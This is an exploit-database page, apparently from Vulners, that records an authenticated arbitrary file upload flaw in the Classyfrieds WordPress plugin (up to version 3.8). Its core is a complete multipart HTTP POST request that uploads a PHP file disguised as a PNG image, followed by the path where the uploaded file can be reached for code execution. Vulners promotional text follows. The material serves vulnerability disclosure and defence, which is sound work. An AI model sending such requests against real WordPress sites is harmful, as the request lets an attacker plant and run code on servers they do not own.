Lucene search
+L

Classyfrieds <= 3.8 - Authenticated Arbitrary File Upload to RCE

🗓️ 10 Apr 2021 00:00:00Reported by Jin HuangType 
wpexploit
 wpexploit
👁 89 Views

Classyfrieds Authenticated Arbitrary File Upload to Remote Code Execution (RCE) via POST reques

Related
Refs
Code
POST /add_a_listing/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1762054704257995540849839116
Content-Length: 1092
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1

-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="titel"

UnexistingTitle
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="omschrijving"

aa
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="foto"; filename="a.php"
Content-Type: image/png

<?php echo 'FAILED'; ?>

-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="contactname"

user
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="featured"

yes
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="classyfried-field"

afbeef4ad0
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="toevoegen"

submit data
-----------------------------1762054704257995540849839116--



The uploaded PHP file will be at https://example.com/wp-content/uploads/classyfrieds/user/a.php

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation